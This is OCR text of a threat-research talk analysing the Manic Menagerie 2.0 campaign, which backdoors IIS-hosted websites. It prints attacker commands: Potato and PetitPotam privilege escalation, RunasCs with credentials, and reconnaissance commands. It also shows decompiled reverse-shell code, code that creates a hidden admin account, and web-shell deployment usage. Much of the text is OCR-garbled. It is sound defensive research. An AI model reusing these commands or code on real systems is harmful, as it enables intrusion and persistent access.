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About Me

> Threat Research Team Leader
Cortex XDR Threat Research Team, Palo Alto Networks

> Threat hunting
> Malware analysis

> Reverse engineering

> Speaker, FArst BotConf!
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Background

Wheat happened?

A campaign by an unknown threat actor (at the time) targeting web
hosting companies

Wheat were they doing there®

Exploiting vulnerable servers and web applications
Deploying cryptocurrency miners

Second wave
Evolving toolset
Deploying web shells -
Mass backdooring of legitimate websites
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ogramData\x\PrintSpoofer.exe" -i-c Au.exe

ﬂ"éx App_Web_xvugalzl.dil

"C:\ProgramData\x\jpcng.exe" -t * -p C:\ProgramData\x\x.bat

Web Shell
Access by
"w3wp.exe"

"C:\ProgramData\x\efs.exe" C:\ProgramData\x\x.bat

"C:\ProgramData\x\PetitPotam.exe" -m 1 -c C:\ProgramData\x\x.bat
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Let's Brealk it Down f

Suspicious
Folder

%programdata%\x\

Suspicious
scripts and
executables

"w3wp.exe" as
the parent
Process

Web shell

ACCESS
App—_Web_xvugalzl.dll

TSNV ee—



ASP to C# to DLL

B oase

A S PX csc.exe C# code

IIS webshell . aspx App Web <random>.dll
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SRC_PROCESS_PATH

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

C:\Windows\System32\inetsrv\w3wp.exe

Step 1: Search In $programdata%\x\

FILE_PATH Y

C:\ProgramData\x\112.db

C:\ProgramData\x\mimidrv.sys

C:\ProgramData\x\PCHunteré4.zip

C:\ProgramData\x\112.db

C:\ProgramData\x\goopdate.dll

C:\ProgramData\x\112.db

C:\ProgramData\x\sh.exe

C:\ProgramData\x\goopdate.dIl

C:\ProgramData\x\112.db

C:\ProgramData\x\goopdate.dll

C:\ProgramData\x\x.bat



)Sfep 2: Searching For sh.exe activity

FILE_PATH

C\

C:\

C\

C:\

C\

C:\

G\

C\

C\

C\

G\

Hijacked
websites
root
directories

\wwwroot\images\44czi34av.aspx

\Wwwwroot \m e s\ images\BlhRhKwn.asp

wwwroot' oo \images\aSG1500a.aspx
I \wwwroot\images\U5f9grV.asp

s wwwrooth

\wwwroot Vs \images\2wMc1.asp

\wwwroot\ s s \images\kESJuH aspx

\wwwroot\ . \images\EBD75HpEc.asp

\wwwroot\images\bwy30h.asp

\wwwroots s

A\css\gNI3ztOhl.asp

\wwwroot\ = o mm \images\S1InYR%.asp

\images\30w10C9%4k.a...

SRC_PROCESS_PATH

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

C:\ProgramData\x\sh.exe

SRC_CMD

sh.exe

-f Sameip_site_path.txt -p asp.txt 1 nul

sh.exe

sh.exe

sh.exe

sh.exe

sh.exe

sh.exe

sh.exe

sh.exe

sh.exe

sh.exe

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul

-f Sameip_site_path.txt -p asp.txt 1 nul




Step 3: Browse and Compare
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Step H: String Found In sh.exe

Command Prompt

.asp|yzddmré
X.txt
\index.aspx
.aspx|
.aspx
X.aspx
index
default
\index.php
.php?x=
.php

x.php
/images/
fis/
fincludes/
.asp|
fcss/

.asp

\css
‘\includes
\images
X.asp
.cer|

AR Y

.cer
http://
X.cer



Step S: Simulation of sh.exe

sh.exe -f Sameip site path -p asp.txt 1 nul

asp.txt - Notepac i s— S—
M X — .' Sameip_site_path.txt - Notey
File Edit Format View Help .

C:\Users‘\User‘Desktop'shelll. asp

File Edit Format View Help

C:\Users‘User'\Desktop'shell2. asp
C:'Users'User'Desktop'shell3. asp

C:“Users'User'Desktop'shells



Organize *

4 .7 Favorites

4

B Desktop

4. Downloads

| Recent Places

Utilities

73 Libraries

- & Documents

Include in library =

Mame

|| 23MPs.asp
|| 65P1E.php
|| boFlg.php
|| F5D60c.asp
|| M6197w.php
|| TfKkm3sZ.asp

Share with =

Step S: Results!
]

Mew folder

Date modified

Type

File

http://
hitp:/

Edit

http:
http:
http:
http:
http:
http:
http://

e
/ il

Format View Help

susers
\Users
\Users
\Users
\Users
\Users
\Users

:hUsers
:\uUsers

\User
\User
\User
\User
\User
\User
\User
\uUser
\User

“Desktop
“Desktop
" Desktop
“Desktop
“Desktop
“Desktop
“Desktop
“Desktop
“Desktop

Yshells/
“shells/
Yshells/
“shells/
“shells,
wshells/
‘wshells/
\shells/c
\shells/c

COMB. 2V3I4XN. Cs
23MPs. asp
84xErgdz.

cs5/
MNUL .
cs55/
/cs
‘css/

'FSD60O.
5/M6197w.

boFlg. php

as|

Eh

'LPTO9. Dtu9s8. ce
55/ TFKm3s5Z. aj

55,/65P1E. php



Backdooring in Scale

< 2 3

Hosted
sh.exe websites Web shell Impact
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Legitimate websites into:
C2 servers

Botnet

Sell access
Malvertising
Cryptocurrency
mining
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C:\ProgramData\x\RunasCs_net2.exe [redacted user] [redacted password]
whoami [redacted domain]

RunasCs_net2.exe

c:\windows\system32\cmd.exe /c net user

& redacted net.exe

©
S

= coldfusionsvc.exe = coldfusion.exe

\—© C:\ProgramData\x\PrintSpoofer_64.exe -i-c au.exe

PrintSpoofer_64.exe

c:\windows\system32\cmd.exe /c net localgroup administrators
B c:\windows\system32\cmd.exe /c systeminfo
c:\windows\system32\cmd.exe /c net userfiis_uses

cmd.exe c:\windows\system32\cmd.exe /c net userliis_user

Vulnerable Web
Applications




Publicly Available Tools

RunasC
s vl.5 - @splinter_code
=

Usage:
RunasCs.ex
.exe
username password -~—°
N~-
e_process_functi
_function] [-
E.md .
READM logon_typel [-r |
Uic
. diffe y -pot
Pet\tPotam e
{ 0 is
i i - EfsR cOpenF\\eRaw orother . S
indows hosts to authent'\cate 1o other machines via MS EFSRPC P 0 . o -
poC ool to coerce Window i DIOit . —
atlon from 2 Wing
- o
-11d0- 2-00004fd90f7e pecause it'S irst o
81d488_d850 aee 869 = s L-on_/\c'IG_hf’\O— Sck that Vou've g ice AcCounts toN
elmpersu T AUTHQ
NatePriyjlg RITY\Sys
9€ Enabjey TEM

ptFileSrv with

functions ]

R EfsRpcEncry
bility)-

exploit for gfsPotato (MS-EFS
SelmpersonatePrNi\ege local privalege escalation vulnera
build &
b Des(”ﬂti
H Shug 0
BN
#for 4.X [Q :?:VS: :;I::::S:V:hte,"
csc.exe EfsPotato.Cs —nowarn:1691,618 lege f’e:fj“g";t:“;“’:l Frackin [ State
csc /platform:xBG EfsPotato.cs —nowarn:1691,618 ancrease giaL shlent aeiing stayg TP
ge the Proce ct r ayspation Ens3bleq
€ time zsosn:"king “Mtication fi::blf‘:a
Set nabe
Enab] o
_nowarn:1691, 618 gfj::l?a
arn:1691,618 a

fsPotato.cs

platform:xBG EfsPotato-cs -now

#for 2.0/3.5
C:\Windows\Microsoft.Net\Framework\\B.5\csc.exe E
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /




Custom Tools

Loader IS Traversal Go Tool

. i . :\Users\Joh skt iis. 24
detsystentntotGsystentnto) SEmemissmaa
if ( SystemInfo.dwNumberOfProcessors == 1 ) o ) ) B
{

LoadLibraryW(0i64) ;

r s panic: runtime error: invalid memory address or nil pointer dereference
ExitProcess(@);

} [signal 6xc000ee05 code=0x0 addr=0x20 pc=0x4de62b]
(Fi e, "X.tmp"); . iz
Eillasa goroutine 1 [running]
O(& E R”k .FSI, 9, gf}FAU1641 0): main.walkDir.funcl(©x560bff8, ©x19, Ox8, Ox0, Ox577460, Oxc04205e180, Ox20, Ox4f2cal)
(andl ; Eotbrnd o szl ’ D:/gogogo/GoYuYanDeGongJu/©81-I1ISGetDomainInfo/bin.go:48 +6x4b
Vof_ *1164 ) path/filepath.Walk(ex56bff8, ©x19, Oxc042036460, Ox7, Ox0)

C:/Go/src/path/filepath/path.go:396 +0x96
main.walkDir(Ox50bff8, O0x19, O6xc042030247 . Ox7. Ox0. Ox0. 6x2, 0xce4205e120, 0x28)
D:/gogogo/GoYuYanDeGongJu/801-IISGetDomainInfo/binl.go:47 +0x150
main.maifl)

HEILE W35 // €3X4ANDLE)v3, 0i64);

BytesRead = 0; D:/gogogo/GoYuYanDeGongJu/001-I1SGetDomainInfo/binlgo:16 +6x148
V rtuaLPfo ect(& . 0x780u164 0x40u, &f Protect);
ReadFile ( v7 ' ('( h !'j‘ \tiéits &Numbe Read ’ 0164) YA Text M Images i Documents @ Websites
1n v7ik;
}
return 0: Chinese (Simplified) - Detected Chinese (Simplified) English Arabic Ping Arabic English Hebrew

go yu yan de gongju\ Go language tools

goiEZHTA




Tools 2023 Update

FFFFF FFF  FFFFFFF

FFFFFFF FFF  FFFFFFFF ‘zhﬂe S

FFF  FFFF FFF FFF  FFF FFF FFF EventA = CreateEventA(@i64, 1, @, “sysnullevt");

FFF  FFF FFF FFF  FFF i i if ( GetLastError() == 183 )

FFF  FFF FFF FFF  FFF FFF FFF CloseHandle(EventA);

FFFF FFFFFFF  FFFFFFFF FFF  FFF FFFFFFF FFFFFFFFF  FFFFFF FFFFFFFFF  FFFFFF \,jSAStdrtup(a)QOZu, & )iz

FFFF FFFF FFFF FFF FFFF FFF FFFF FFFF FFFF  FFF FFF FFF  FFF FFF FFFF = WSASocketA(2, 1, 6, 0i64, 0, @);

FFFF FFFFF FFF  FFF FFF  FFF FFFFFFFF FFF  FFF  FFF F FFF  FFF FFF  FFF .sa_family = 2;

FFFF  FFF FFF  FFFFFFF  FFF FFF FFFF  FFF  FFF FFFFF  FFF FFF  FFFF =Wy5¢

FFFF  FFF FFF  FFFFFFF  FFF FFF FFFF  FFF  FFF FFFFFFFF  FFF FFF  FFFF V6 = ("80");

FFF  FFF FFF  FFF FFF  FFF FFF FFF  FFF  FFF FFFF FFF  FFF FFF  FFFF *(_WORD *) .sa_data = htons(v6);

FFFF FFFF FFFF FFF FFFF FFF FFF FFF FFFF  FFF FFFF FFF  FFF FFFF  FFF *(_DWORD *)& .sa_data[2] = inet_addr(" ");
FFFFFFFF FFFFFFF  FFFFFFFF  FFF FFFFFFF FFFFFF FFFFFFFF  FFFFFFF  FFFFFFF WsAConnect(s, &name, 16, 0i64, 0i64, 0i64, 0i64);
FFFFFFF  FFFFF FFFFFFF  FFF FFFFF FFFFF  FFFFFFFF FFFF FFFF (& , 0, sizeof( ));

.cb = 104;
.dwFlags = 256;
— .hStdError = (HANDLE):;
: .hStdOutput = (HANDLE)s;
5 . : .hStdInput = (HANDLE)s;
—cmd Required:True CommandLine (default cmd /c whoami) CreateProcessA(@i64, (LPSTR)"cmd.exe", 0i64, 0i64, 1, 0x8000000u, 0i64, 0i64, & , & )i
Sleep(@x1770u) ;
Example: }

Chinese (Simplified) - Detected English
GodPotato -cmd "“cmd /c whoami'

IEIRES _ — X
D:\project\F[ ]

\dllnc\exenc\x64\Release\exenc.pdb

Hou ménlei

L) 3/5,000

Backdoor category
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1st Clue: Invalid Certiffcate of sh.exe

Digital Signature Details
General Advanced
. Digital Signature Information

A required certificate is not within its validity period when

verifying against the current system clock or the timestamp in
the signed file.

Signer information

Name:
E-mail:

Signing time:

View Certificate

Countersignatures

Name of signer: E-mail address:

Timestamp

DigiCert Timesta... Not available Tuesday, December ...




Searching For the Certificate’'s Issuer

B Australian Government Australian
R ——— e ——— T Cyber Security
Centre




Invalid Certiffcate of sh.exe

Digital Signature Details

General Advanced

Digital Signature Information
) A required certificate is not within its validity period when
verifying against the current system clock or the timestamp in
the signed file.
Signer information
Name: Fujian identical

E-mail: W
Signing time: uesday, December 6, 2022 5:13:21PM

View Certificate

Countersignatures

Name of signer: E-mail address: Timestamp

DigiCert Timesta... Not available Tuesday, December ...

General IM-\c«ll

. Digital Signature Information
43 Arequred certficate is not withn its vaidity period when

verifying against the current system dock or the timestamp in
the signed file.

Name of signer: E-mal address: Timestamp
Symantec Time ...  Not available Wednesday, 25 Apri...

Detals

2018 - ACSC



Strings Similarities

CreateProcessA(
0i64,
(LPSTR)"C:\\ProgramData\\x\\x.bat",
0i64,
0i64,

1,

0x8000000u,

0i64,

0i64,

& ,

& )i
parm_err = 0;
vo = -1i64;
*(_QWORD x)buf = L"iis_user";
vl = -1i64;

(Source, '|xman 188");

do

++vl;
while ( Sourcelvi] );
v2 = (wchar_t *) ( (vl + 1, 2ui64));
while ( Source[++v@] != 0 )

(v2, Source, v0 + 1);

vll = v2;
v1l4 = L"Built-in account for administering the computer/domain";
vi2 = 1;
v13 = 0i64;
v1l5 = 0x10000;
v16 = 0i64;
(0i64, L"iis_user");
Sleep(0x64u);
result = (0i64, 1u, buf, &parm_err)

2022

C:\Users\st=ss\Desktop>iis_uses.db

User iis_uses has been successfully added

Create iis_uses Success...

Open SAMNSAM\Domains“\Account\Users\Names\iis_uses...
Get Registry Ualue BB0BBG4BS. ..

Open SAMNSAM\Domains\Account\Users\B00004B8. ..
Delete iis_uses Success...

Now Create iis_uses Registry Key...Success!?

USER: iis_uses

PASS :| xman%t 10911
C:\UsersSsssis\Desktop>

218




Other Similarities

=) e

hs.com

C:\programdata\x

mylcx.exe

Shared hashes of Suspicious folder Files naming conventions
web shells and tools




At+tribution Diemond Model

Adversary

Manic Menagerie 2.0

Capability InFrastructure

Web shells 134.122.191[.]1223
LPE tools

Custom backdooring tool (sh.exe)
RID hijacking tool
Cryptocurrency miners

StreamEx Malware

Victimology

Web hosting and IT companies
in the US and EU



Manic Menagerie 2.0

Who are the targets?

Web hosting and IT companies in the AU, US, and EU
2018 - present

Wheat is their motivetion?
Financially motivated threat actor

How'™?

Vulnerable web applications and IIS
Cryptocurrency miners
Search engine optimization
Web shells
Custom and publicly available tools
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Key Takeaways

=) e ©3
Mal'_lIC Highly adeptive IT Hygiene
Menagerie 2.0: a threat actor IT Hygiene
blast From the (tools and IT Hygiene

past strateqgy)



Thank you! *

Questions?

Read the blog:
https://unit42.paloaltonetworks.com/manic-menagerie-targets-web-h
osting-and-it/
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